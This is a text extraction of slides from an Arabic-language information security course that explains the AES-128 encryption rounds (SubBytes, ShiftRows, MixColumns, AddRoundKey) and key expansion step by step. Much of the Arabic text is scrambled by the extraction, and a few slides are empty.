    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [309] ‫أصبح‬ ُ‫ه‬‫أن‬ ‫اآلن‬ ‫أعتقد‬ ‫ت‬ ‫لدي‬ ‫نا‬ ‫اجل‬ ‫املفاذيم‬ ‫بعض‬ ‫امل‬ ‫يف‬ ‫عليها‬ ‫سنعتمد‬ ‫التي‬ ‫يدة‬ ‫رحلة‬ ..‫القادمة‬ ‫سنعود‬ ‫ال‬ ‫ن‬َ‫ع‬ ‫َتحدث‬‫ن‬ ‫ا‬‫ُن‬‫ك‬ ُ ‫حيث‬ ‫الفقرة‬ ‫ذذه‬ ‫أول‬ ‫يف‬ ُ‫ه‬‫كرنا‬َ‫ذ‬ ‫ما‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ Symmetric Encryption ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬‫و‬ ‫ال‬ ‫مفهوم‬ Cryptosystems . ‫ل‬‫تكام‬ُ‫م‬ ‫ظام‬‫ن‬ ‫تحليل‬‫ل‬ ‫ننتقل‬ َ ‫س‬ (Symmetric Cryptosystem) ‫ال‬ ‫بدأ‬َ‫م‬ ‫د‬‫يعتم‬ Block Ciphers .‫يانات‬َ‫ب‬‫ال‬ ‫تشفري‬ ‫يف‬ ‫ال‬ ‫ذذه‬ ‫أشهر‬ ‫لعل‬ Symmetric Cryptosystem ‫ال‬ ‫ذو‬ AES ‫وال‬ 3DES . ‫سوف‬ ‫نذذب‬ ‫ال‬ ‫داطل‬ ‫عة‬‫ت‬ ُ ‫ُم‬ ‫جولة‬ ‫يف‬ AES . AES (Advanced Encryption Standard) The Advanced Encryption Standard (AES) was published by the National Institute of Standards and Technology (NIST) in 2001. AES is a symmetric block cipher that is intended to replace DES as the approved standard for a wide range of applications. The algorithm is referred to as AES-128, AES-192, or AES-256, depending on the key length. ‫ال‬ ‫يكون‬ input ‫ال‬ ‫هلذه‬ Algorithm ‫من‬ ‫يتكون‬ ‫بلوك‬ 16 ،‫طانة‬ ‫طان‬ ‫ُل‬‫ك‬ ‫ة‬ ‫ل‬ِّ‫ث‬َ ُ‫مت‬ 1 byte ‫ال‬ ‫جم‬ َ‫ح‬ ‫أن‬ ‫أي‬ ، block ‫كون‬َ‫ي‬ َ ‫س‬ 128-bits ، ‫ال‬ ‫تقسيم‬‫ب‬ ‫سيقوم‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫ذذا‬ plaintext ‫يف‬ ُ‫ه‬‫ووضع‬ Blocks .‫التشفري‬ ‫عملية‬ ‫عليها‬ ‫ري‬ ُ ‫جي‬ ‫م‬ُ‫ث‬
  • 310.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [310] ‫ال‬ ‫ستستقبل‬ Algorithm ‫دطالت‬ُ‫م‬ (inputs) ‫ذي‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫ذذه‬ ، 2 blocks ، ‫ال‬ ‫م‬ُ‫ذ‬ plaintext ‫عليه‬ ‫ُطلق‬‫ن‬‫و‬ State ، ‫وال‬ input ‫ال‬ ‫مصفوقة‬ ‫ذي‬ ‫الثانية‬ cipher key ‫بالشكل‬ ‫كام‬ ‫باألعىل‬ . :‫اخلطوات‬ ‫من‬ ‫لسلسلة‬ ‫منهم‬ ‫كل‬ ‫ل‬ ُ ‫سيدط‬ - ‫ال‬ State ‫ال‬ ‫لىل‬ ‫ستذذب‬ Encryption Process . - ‫وال‬ Key ‫ال‬ ‫لىل‬ ‫سيذذب‬ Key Schedule ‫ال‬ ‫لنتاج‬ ‫ليتم‬ Cipher Keys ‫كل‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ Round . ‫لىل‬ ‫نعود‬‫ل‬ ‫ال‬ State ‫من‬ ُ َ‫مت‬ ..‫جديد‬ ‫ر‬ ‫ال‬ State ‫ب‬ ‫ع‬ ‫النهاية‬ ‫يف‬ ‫ليتم‬ ‫ططوات‬ ‫دة‬ ‫تكوين‬ ‫ال‬ Ciphertext ‫ذذه‬ ، ‫الصفحة‬ ‫يف‬ ‫موضحة‬ ‫اخلطوات‬ ‫التالية‬ :‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫وذي‬ ، - ‫ال‬ ‫وذي‬ ‫األوىل‬ ‫اخلطوة‬ Initial Transformation . - ‫ال‬ ‫ذذا‬ ‫دطول‬ ‫وذي‬ ‫الثانية‬ ‫اخلطوة‬ Block ‫يف‬ “9 rounds” .‫متتالية‬ ‫كل‬ Round ‫ذذه‬ ‫من‬ ‫التسع‬ ‫ة‬ ، ‫سيتعرض‬ ‫ال‬ ‫قيه‬ State .‫قليل‬ ‫بعد‬ ‫عنهم‬ ‫سنتكلم‬ ،‫رياضية‬ ‫عمليات‬ ‫ألربع‬ ‫ذذا‬ - ‫الثالث‬ ‫اخلطوة‬ ‫ثم‬ ‫ة‬ ‫ال‬ ‫وذي‬ Round ‫ال‬ ‫بعدذا‬ ‫لينتج‬ ‫النهائية‬ Ciphertext .
  • 311.
  • 312.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [312] ‫ال‬ ‫ذذه‬ ‫أن‬ ‫نالحظ‬ Rounds ‫عددذا‬ ‫مجيعها‬ (10) ‫ال‬ ‫غري‬ initial transformation ‫استخدمنا‬ ‫ألننا‬ ‫وذذا‬ ، ‫ال‬ AES- 128 ‫ال‬ ‫باستخدام‬ ‫قمنا‬ ‫قلو‬ . AES-192 ‫تنفيذ‬ ‫املقابل‬ ‫يف‬ ‫سيتم‬ 12 Rounds . ‫ال‬ ‫ل‬ ُ ‫دط‬َ‫ي‬ ‫اآلطر‬ ‫اجلانب‬ ‫عىل‬ Cipher Key ‫عليها‬ ‫ُطلق‬‫ن‬ ،‫اإلجراءات‬ ‫ن‬‫م‬ ‫لة‬‫لس‬‫س‬ ‫يف‬ “Key Expansion” ‫لنتاج‬ ‫يتم‬ ‫كي‬ (11 keys) ، ‫ال‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬ ‫األول‬ Initial transformation ‫ال‬ ‫أجل‬ ‫ن‬‫م‬ ‫فاتيح‬َ‫م‬ ‫سعة‬‫ت‬ ‫م‬ُ‫ث‬ ، (9 Rounds) ، ‫ال‬ ‫ثم‬ Key ‫ال‬ ‫أجل‬ ‫من‬ ‫األطري‬ Final Round . ‫ال‬ ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬‫ب‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫ل‬‫راح‬َ‫مل‬‫ا‬ ‫ن‬َ‫ع‬ ‫نتكلم‬ َ ‫س‬ ..‫واآلن‬ State ‫وال‬ Cipher key .‫التفصيل‬ ‫من‬ ‫يشء‬‫ب‬ The State Matrix Processes ‫ال‬ ‫عىل‬ ‫نا‬ُ‫ذ‬ ‫بالرتكيز‬ ‫سنقوم‬ Encryption Process ، ‫تتم‬ ‫التي‬ ‫العمليات‬ ‫عن‬ ‫نتحدث‬ ‫لن‬ ‫لكن‬ ‫ال‬ ‫إلنتاج‬ Key ‫اخلاص‬ ‫بكل‬ Round ً‫ا‬‫الحق‬ ‫بتفصيلهم‬ ‫وسنقوم‬ ،‫التشفري‬ ‫عملية‬ ‫يف‬ ‫استخدامهم‬ ‫مواضع‬ ‫بتوضيح‬ ‫ذنا‬ ‫سنكتفي‬ ، .
  • 313.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [313] ‫ال‬ ‫أن‬ ً‫ا‬‫واضح‬ ‫يبدو‬ initial round ‫ال‬ ‫تستخدم‬ AddRoundKey .!‫ققط‬ ‫ال‬ ‫تتعرض‬ ‫بينام‬ State ‫ل‬ ‫بعدذا‬ 9 Rounds ، ‫كل‬ ‫يف‬ ‫متتالية‬ ‫ططوات‬ ‫أربع‬ ‫تنفيذ‬ ‫قيها‬ ‫يتم‬ Round . ‫ال‬ ‫ويف‬ Round ‫ال‬ ‫تطبيق‬ ‫يتم‬ ‫ال‬ ‫األطرية‬ MixColumns . ..‫واآلن‬ ‫ال‬ ‫ذذه‬ ‫من‬ ‫أكثر‬ ‫لنقرتب‬ ‫ذيا‬ Rounds .
  • 314.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [314] Initial round ‫ال‬ ‫استخدام‬ ‫وذي‬ ‫وحيدة‬ ‫ططوة‬ ‫بتطبيق‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬ Key ‫ال‬ ‫سلسلة‬ ‫يف‬ ‫األول‬ Key Expansion ، ‫بعمل‬ ‫قنقوم‬ XOR ‫بينه‬ ‫ال‬ ‫وبني‬ State Matrix :‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫ث‬ُ‫د‬ َ ‫حت‬ ‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ XOR ‫ال‬ ‫من‬ ٍ‫كل‬ ‫ن‬‫م‬ ‫مود‬َ‫ع‬ ‫أول‬ ‫بني‬ State ‫وال‬ Key ‫النهاية‬ ‫يف‬ ‫ُج‬‫ت‬‫ين‬‫ل‬ ‫األعمدة‬ ‫قية‬َ‫ب‬ ‫مع‬ ‫وذكذا‬ ، 4x4 State Matrix ‫ال‬ ‫لىل‬ ‫الدطول‬ ‫يف‬ ‫لتبدأ‬ Round .‫األوىل‬ ‫أول‬ ‫داطل‬ ‫اآلن‬ ‫أنفسنا‬ ‫َرب‬‫ت‬‫َع‬‫ن‬‫س‬ Round .. ‫ال‬ ‫عملية‬ ‫تبدأ‬ ُ ‫حيث‬ SubBytes : ‫ال‬ ‫ذذه‬ ‫ذ‬ ُ ‫سنأط‬ State ‫ا‬ ‫من‬ ‫ة‬َ‫م‬‫القاد‬ ‫ل‬ initial round ‫ال‬ ‫بتطبيق‬ ‫َقوم‬‫ن‬‫ل‬ SubBytes ‫اآلن‬ ‫رتى‬ َ ‫س‬ ‫كام‬ ‫عليها‬ :
  • 315.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [315] ‫ل؟‬ّ‫و‬َ‫َح‬‫ت‬‫ال‬ ‫ذذا‬ َ ‫ث‬َ‫د‬ َ‫ح‬ َ ‫كيف‬ ‫كل‬ ‫بادلة‬ُ‫م‬ ‫متت‬ ‫لقد‬.. byte ‫ال‬ ‫من‬ State ‫ب‬ byte ‫بال‬ ‫سمى‬ُ‫ي‬ ‫جدول‬ ‫من‬ ‫عليه‬ ‫حصلنا‬ ‫آطر‬ S-Box . ‫ال‬ ‫ماذذا‬ S-Box ‫؟‬.. ‫حمور‬ ‫له‬ ‫كبري‬ ‫جدول‬ ‫عن‬ ‫عبارة‬ ‫لنه‬ X ‫وآطر‬ Y ‫الصفح‬ ‫يف‬ ‫جتده‬ ، ‫ة‬ ‫ا‬ ‫لتالي‬ ‫ة‬ . ‫أول‬ ‫نأطذ‬ ً‫ال‬‫قمث‬ byte ‫وذو‬ “EA” ‫سندطل‬ ‫املحور‬ ‫لىل‬ X ‫بالقيم‬ ‫ة‬ E ‫بالقيمة‬ ‫الرأيس‬ ‫املحور‬ ‫ولىل‬ ، A ‫نقطة‬ ‫قتكون‬ ، ‫ذي‬ ‫التقابل‬ “87” ‫يف‬ ‫تظهر‬ ‫والتي‬ ، ‫طان‬ ‫أول‬ ‫ة‬ ‫يف‬ ‫املصفوق‬ ‫ة‬ ‫منى‬ُ‫ي‬‫ال‬ ‫السابقة‬ ‫الصفحة‬ ‫يف‬ . ‫يف‬ ‫اإلجراء‬ ‫ِبذا‬ ‫سنقوم‬ ‫أننا‬ ‫وبام‬ ُ‫ه‬ َ ‫س‬‫َعك‬‫ن‬ ‫أن‬ ‫سنحتاج‬ ،‫التشفري‬ ‫حالة‬ ‫ال‬ ‫لىل‬ ‫َحتاج‬‫ن‬ َ ‫س‬ ‫وبالتايل‬ ،‫التشفري‬ ‫ك‬َ‫ق‬ ‫حالة‬ ‫يف‬ Inverse S-Box .ً‫ا‬‫أيض‬ . ‫التايل‬ ‫الشكل‬ ‫اإلستبدال‬ ‫عملية‬ ‫يوضح‬ :‫ذذه‬
  • 316.
  • 317.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [317] ‫ال‬ ‫مرحلة‬ ‫من‬ ‫انتهينا‬ SubByte ‫ال‬ ‫بدأ‬َ‫مل‬ ‫تطبيق‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ت‬ ‫كانت‬ ُ ‫حيث‬ ، “Confusion” . ‫عناه؟‬َ‫م‬ ‫تتذكر‬ ‫ذل‬ ‫سن‬ ‫واآلن‬ ‫الثانية‬ ‫املرحلة‬ ‫لىل‬ ‫نتقل‬ :
  • 318.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [318] ShiftRows ‫ال‬ ‫ك‬ُ‫رت‬‫ن‬ َ ‫س‬ row ‫أول‬ ‫َقل‬‫ن‬‫ب‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬ ،‫ذو‬ ‫َام‬‫ك‬ ‫األول‬ byte ‫ال‬ ‫ن‬‫م‬ row ‫ال‬ ‫كان‬َ‫م‬ ُ‫ه‬‫ع‬ َ ‫َض‬‫ن‬‫ل‬ ‫الثاين‬ byte ‫ب‬ِّ‫ب‬ َ ‫س‬ُ‫ي‬‫س‬ ‫وذذا‬ ،‫األطري‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫سار‬َ‫ي‬‫ال‬ ‫لىل‬ ‫قية‬َ‫ب‬‫لل‬ ‫قية‬ُ‫ق‬ُ‫أ‬ ‫لزاحة‬ ‫باألعىل‬ ، ‫ال‬ ‫وبخصوص‬ row ‫الثالث‬ ‫ق‬ ‫تم‬َ‫ي‬ ‫نقل‬ 2 bytes ‫والرابع‬ ‫(الثالث‬ ‫والثاين‬ ‫األول‬ ‫حمل‬ ) ، ‫م‬ُ‫ث‬ ‫ال‬ row ‫الرابع‬ ‫يتم‬ ‫نقل‬ ‫ال‬ byte ‫ال‬ ‫حمل‬ ‫األطري‬ byte ‫اليمني‬ ‫نحو‬ ‫الباقني‬ ‫ولزاحة‬ ‫األول‬ ، ‫ل‬ ‫عىل‬ ‫نحصل‬ ‫املصفوق‬ ‫ة‬ ‫النهائي‬ ‫ة‬ !‫باألسفل‬ . * ‫تقع‬ ‫التي‬ ‫الصورة‬ ‫الشكل‬ ‫أسفل‬ ‫اليمني‬ ‫ناحية‬ ‫ال‬ ‫توضح‬ State ‫ال‬ ‫عليها‬ ‫طبقنا‬ ‫التي‬ S-box ‫لل‬ ‫ها‬‫ض‬ ُّ‫تعر‬ ‫بعد‬ ،‫قوق‬ ShiftRow .
  • 319.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [319] ‫عمل‬ ‫أن‬ ‫الحظ‬ ‫ال‬ ‫ية‬ ShiftRows ‫ال‬ ‫بدأ‬َ‫مل‬ ‫َطبيق‬‫ت‬ ‫ُعترب‬‫ت‬ ‫ذذه‬ “Diffusion” . ..!‫جيد‬ ‫ذذا‬ ‫ال‬ ‫مرحلة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ MixColumns : MixColumns ‫ال‬ ‫صفوقة‬َ‫م‬ ‫ب‬ َ ‫َض‬ ‫الطريقة‬ ‫ذذه‬ ‫يف‬ ‫يتم‬ State ‫ال‬ ‫وذي‬ ‫طرى‬ُ‫أ‬ ‫صفوقة‬َ‫م‬‫ب‬ “MixColumns Matrix” ‫َذكريك‬‫ت‬ ‫د‬َ‫َو‬‫ن‬ ً‫ا‬‫أيض‬ َ‫مل‬ ‫تطبيق‬ ‫ُعترب‬‫ت‬ ‫لية‬َ‫م‬َ‫ع‬‫ال‬ ‫ذذه‬ ‫أن‬‫ب‬ ‫بدأ‬ “Diffusion” . ‫ال‬ ‫من‬ ‫عمود‬ ‫كل‬ ‫أن‬ ‫الشكل‬ ‫يوضح‬ State ‫ال‬ ‫من‬ ‫صف‬ ‫يف‬ ‫َضبه‬ ‫سيتم‬ MixColumns Matrix .
  • 320.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [320] :‫آطر‬ ‫توضيحي‬ ‫شكل‬ ‫وذذا‬ :‫بنا‬ ‫اخلاص‬ ‫املثال‬ ‫عىل‬ ‫األمر‬ ‫ُجرب‬‫ن‬‫ل‬ ‫ذيا‬ ‫ال‬ ‫عىل‬ ‫حصلنا‬ ‫لقد‬ State ‫تتابع‬ُ‫م‬ ‫راحل‬َ‫م‬ ‫ثالث‬ ‫عد‬َ‫ب‬ ‫ة‬ ‫ال‬ ‫أوهلم‬ ‫كانت‬ ، SubBytes ‫ا‬ ‫جداول‬ ‫استخدمنا‬ ‫حيث‬ ‫ل‬ S-box ، ‫ال‬ ‫لىل‬ ‫دطلنا‬ ‫ثم‬ ShiftRows ‫كأحد‬ ‫تطبيقات‬ ‫ال‬ Diffusion ‫ال‬ ‫لىل‬ ‫بعدذا‬ ‫ومن‬ ، MixColumns . ‫واآلن‬ ‫دور‬ ‫يأيت‬ ‫ال‬ ‫هلذا‬ ‫واألطرية‬ ‫الرابعة‬ ‫املرحلة‬ Round ‫وذي‬ ، : AddRoundKey ‫بعمل‬ ‫نقوم‬ ‫حيث‬ XOR ‫لل‬ State ‫الثالث‬ ‫املراحل‬ ‫ذذه‬ ‫من‬ ‫الناجتة‬ ‫ة‬ ‫ال‬ ‫مع‬ “Round Key 1” ‫ال‬ ‫ماذذا‬ Round Key 1 ‫؟‬
  • 321.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [321] ‫ال‬ ُ‫ه‬‫لن‬ Key ‫ال‬ ‫من‬ ‫انتاجه‬ ‫تم‬ ‫الذي‬ Cipher key ‫ال‬ ‫عملية‬ ‫طالل‬ ‫من‬ ‫وذلك‬ ،‫الرئييس‬ Key Expansion ‫ُناقشها‬‫ن‬‫س‬.. ‫قليل‬ ‫بعد‬ . . ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫تم‬َ‫ي‬ ‫النهاية‬ ‫يف‬ Block ‫ال‬ ‫من‬ ‫ج‬‫َنات‬‫ك‬ Round 1 ، َ‫ي‬‫ل‬ ‫ت‬ ‫َفس‬‫ن‬‫ب‬ ‫رور‬ُ‫للم‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫دطوله‬ ‫ذلك‬ ‫عد‬َ‫ب‬ ‫م‬ ‫ال‬ ‫داطل‬ ‫طوات‬ ُ ‫ط‬ ‫األربع‬ Round 2 ‫ال‬ ‫لىل‬ ‫الوصول‬ ‫حتى‬ ‫وذكذا‬ ، Round 9 . ‫ماييل‬ ‫ال‬ ‫بني‬ ‫احلاصل‬ ‫لإلجراء‬ ‫توضيحي‬ ‫شكل‬ State ‫وال‬ Round key 1 . ‫ال‬ ‫من‬ ‫عمود‬ ‫كل‬ ‫أطذ‬ ‫يتم‬ ُ ‫حيث‬ State ‫وعمل‬ XOR ‫ال‬ ‫يف‬ ‫له‬ ‫قابل‬ُ‫مل‬‫ا‬ ‫العمود‬ ‫مع‬ ‫له‬ Key .
  • 322.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [322] ‫ال‬ ‫ذذه‬ ‫بتكرار‬ ‫نقوم‬ Round ‫ال‬ ‫يف‬ ‫ثم‬ ،‫مرات‬ ‫لتسع‬ Round ‫ا‬ ‫ذذه‬ ‫ق‬‫ُطب‬‫ن‬ ‫العارشة‬ ‫اخلاصة‬ ‫اخلطوة‬ ‫باستثناء‬ ً‫ا‬‫أيض‬ ‫خلطوات‬ ‫بال‬ MixColumns . ‫ال‬ ‫لنهاية‬ ‫وصلنا‬ ‫لقد‬ Encryption process ، ‫ا‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ ‫ل‬ Key Expansion ‫ال‬ ‫ذذا‬ ‫به‬ ‫ُننهي‬‫ن‬‫ل‬ Cryptosystem . Key Schedule ‫ال‬ ‫نا‬ُ‫ذ‬ ‫تبدأ‬ " Key Expansion Algorithm " ‫ال‬ ‫بأطذ‬ Cipher Key ‫بار‬‫ع‬ ‫وذو‬ ‫ة‬ ‫كون‬ُ‫م‬ ‫مصفوقة‬ ‫ن‬َ‫ع‬ ‫ن‬‫م‬ ‫ة‬ 16 bytes ‫ب‬ ‫أشبه‬ ‫يشء‬ ‫بإنتاج‬ ‫لتقوم‬ Linear Array ‫و‬ ‫غ‬ُ‫ل‬‫َب‬‫ت‬ 176 bytes . ‫ال‬ ‫ة‬َ‫سم‬‫ق‬‫وب‬ 176 ‫عىل‬ 11 ‫الناتج‬ ‫يكون‬ 16 ‫من‬ ‫مكونة‬ ‫مصفوقة‬ ‫سنستخدم‬ ‫أننا‬ ‫بمعنى‬ ، 16 bytes ‫أل‬ ‫جل‬ 11 ،‫مرحلة‬ ‫ال‬ ‫وذي‬ Rounds .!‫املطلوبة‬ (Initial round + 10 rounds) ، ‫ال‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬ ُ ‫حيث‬ Cipher Key ‫أول‬ key ‫ال‬ ‫ذذه‬ ‫يف‬ linear array ‫ال‬ ‫يف‬ ُ‫ه‬‫استخدام‬ ‫ليتم‬ initial round ‫ال‬ ‫بقية‬ ‫منه‬ ‫ن‬ِّ‫ُكو‬‫ن‬‫س‬ ‫ثم‬ . Keys . ..!‫لنبدأ‬ ‫ذيا‬ ‫تأمل‬ ‫معي‬ ‫الشكل‬ ‫التايل‬ :
  • 323.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [323] Figure 5 ‫ال‬ ‫لنا‬ ‫ر‬َ‫ظه‬َ‫ي‬ Cipher Key ‫ل‬‫لس‬‫الس‬ ‫ذذه‬ ‫يف‬ ‫صفوقة‬َ‫م‬ ‫كأول‬ ‫ة‬ ‫ن‬‫م‬ ‫ن‬‫َو‬‫ك‬ُ‫م‬ ‫دول‬ َ‫ج‬ ‫باألسفل‬ ‫ظ‬‫ُالح‬‫ن‬‫و‬ ، ،‫ة‬َ‫د‬‫أعم‬ ‫ة‬ َ ‫رش‬َ‫ع‬ ‫وذذا‬ ‫ُل‬‫ك‬‫ل‬ ‫األعمدة‬ ‫ذذه‬ ‫ن‬‫م‬ ‫مود‬َ‫ع‬ ‫م‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ ‫أننا‬ ‫عىل‬ ‫ل‬ُ‫د‬َ‫ي‬ Round Key ‫العرشة‬ ‫ن‬‫م‬ . :‫املرحلة‬ ‫ذذه‬ ‫تأيت‬ ‫ثم‬
  • 324.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [324] ‫ال‬ ‫من‬ ‫عمود‬ ‫أول‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ ُ ‫حيث‬ Round Key ‫بال‬ ‫اجلديد‬ “Wi” ُ‫ه‬‫يسبق‬ ‫الذي‬ ‫العمود‬ ‫قيكون‬ ، “Wi-1” ‫يظهر‬ ‫كام‬ ‫بالشكل‬ ‫التايل‬ (figure 6) . ‫بعدذا‬ ‫سنقوم‬ ‫ططوات‬ ‫بتطبيق‬ ، ‫كل‬ ‫من‬ ‫عمود‬ ‫أول‬ ‫تكوين‬ َ‫ند‬‫ع‬ ‫تكرارذا‬ ‫م‬‫ت‬َ‫ي‬ Round Key .!‫ققط‬ :‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫تكون‬ ‫اخلطوات‬ ‫ذذه‬ Figure 6
  • 325.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [325] ‫األوىل‬ ‫اخلطوة‬ ‫أول‬ ‫نأطذ‬ ‫أن‬ ‫ذي‬ byte ‫وذو‬ ‫العمود‬ ‫ذذا‬ ‫يف‬ (09) ‫رأسي‬ ‫إلزاحة‬ ‫يؤدي‬ ‫ُما‬ ،‫باألسفل‬ ُ‫ه‬‫ونضع‬ ‫ة‬ ‫لىل‬ ‫للبقية‬ ‫األعىل‬ ‫ال‬ َ‫ن‬‫م‬ ‫ل‬‫د‬ َ ‫نس‬ُ‫مل‬‫ا‬ ‫العمود‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬ ‫كام‬ ، Wi-1 ‫الشكل‬ ‫يف‬ ،‫املايض‬ ‫رقم‬ 6 (figure 6) . ‫تبديل‬ ‫ذي‬ ‫الثانية‬ ‫واخلطوة‬ ‫كل‬ byte ‫ال‬ ‫من‬ ‫أطرى‬ ‫بقيمة‬ ‫العمود‬ ‫ذذا‬ ‫من‬ S-Box ‫ق‬‫ُطل‬‫ن‬ ‫ُنا‬‫ك‬ ،ً‫ا‬‫سبق‬ُ‫م‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬ ‫عليها‬ “SubBytes” .. ً‫ا‬‫أيض‬ ‫الشكل‬ ‫يوضح‬ ‫رقم‬ 6 (figure 6) ‫ال‬ S-Box ‫وعمل‬ ‫ال‬ ‫ية‬ SubBytes . Figure 7
  • 326.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [326] ‫الثالث‬ ‫واخلطوة‬ ‫ة‬ ‫ذي‬ ‫ل‬َ‫م‬َ‫ع‬ XOR ‫ال‬ ‫من‬ ٍ‫ُل‬‫ك‬ ‫ع‬َ‫م‬ ‫مود‬َ‫ع‬‫ال‬ ‫ذا‬‫هل‬ Wi-4 ‫ال‬ ‫من‬ ‫األول‬ ‫والعمود‬ Rcon ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫كام‬ ‫رقم‬ 7 (figure 7) .‫املاضية‬ ‫الصفحة‬ ‫يف‬ ، ‫ال‬ ‫يف‬ ‫عمود‬ ‫أول‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫وِبذا‬ Round Key 1 . ‫أعمدة؟‬ ‫الثالث‬ ‫بقية‬ ‫ل‬‫ُكم‬‫ن‬‫س‬ ‫كيف‬ َ‫ن‬ َ ‫س‬ ..ً‫ا‬‫حسن‬ ‫ال‬ ‫يف‬ ‫الثاين‬ ‫مود‬َ‫ع‬‫ال‬ ‫عىل‬ ‫ف‬‫ق‬ round key 1 ‫َكوينه‬‫ت‬ ‫طلوب‬َ‫مل‬‫ا‬ ‫وذو‬ . ‫ُسميه‬‫ن‬‫س‬ ‫ذا‬‫ل‬ (Wi) ، ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬ XOR ‫بالشكل‬ ‫َام‬‫ك‬ ‫أعمدة‬ ‫ة‬َ‫ع‬َ‫ب‬‫أر‬‫ب‬ ُ‫ه‬‫ق‬‫سب‬َ‫ي‬ ‫الذي‬ ‫مود‬َ‫ع‬‫وال‬ ً‫ة‬‫بارش‬ُ‫م‬ ُ‫ه‬‫ق‬‫سب‬َ‫ي‬ ‫الذي‬ ‫مود‬َ‫ع‬‫ال‬ ‫ني‬َ‫ب‬ ،‫التايل‬ ‫رقم‬ 8 (Fig.8) : ‫ال‬ ‫ذذه‬ ‫نكرر‬ ‫وذكذا‬ XOR ‫الثالث‬ ‫العمود‬ ‫مع‬ .‫والرابع‬ ‫ِب‬ ‫لنصل‬ ‫ذا‬ ‫لىل‬ ‫ال‬ ‫اكتامل‬ Round Key 1 . Figure 8 ‫ثم‬ ‫ت‬ ‫بدأ‬ ‫ال‬ Round Key 2 ، ‫س‬ ‫ن‬ ‫تكوين‬ ‫ططوات‬ ‫عن‬ ‫تكلم‬ :‫ِبا‬ ‫عمود‬ ‫أول‬
  • 327.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [327] َ‫ن‬‫ق‬ ‫التي‬ ‫طوات‬ُ‫خل‬‫ا‬ ‫تكرار‬‫ب‬ ‫قوم‬ ‫متت‬ ‫ال‬ ‫يف‬ ‫مود‬َ‫ع‬ ‫أول‬ ‫تكوين‬ ‫ند‬‫ع‬ Round Key 1 ، ‫تتذكرذا؟‬ ‫ذل‬  ‫ال‬ ‫كانت‬ ‫ططوة‬ ‫أول‬ RotWord ‫وذي‬ ‫ال‬ ‫نقل‬ Byte ‫أسفل‬ ‫لىل‬ ‫األعىل‬ .  ‫ال‬ ‫كانت‬ ‫والثانية‬ SubRows ‫ال‬ ‫باستخدام‬ S-box .  ‫ال‬ ‫عملية‬ ‫ذي‬ ‫والثالثة‬ XOR ‫ال‬ ‫و‬ ‫العمود‬ 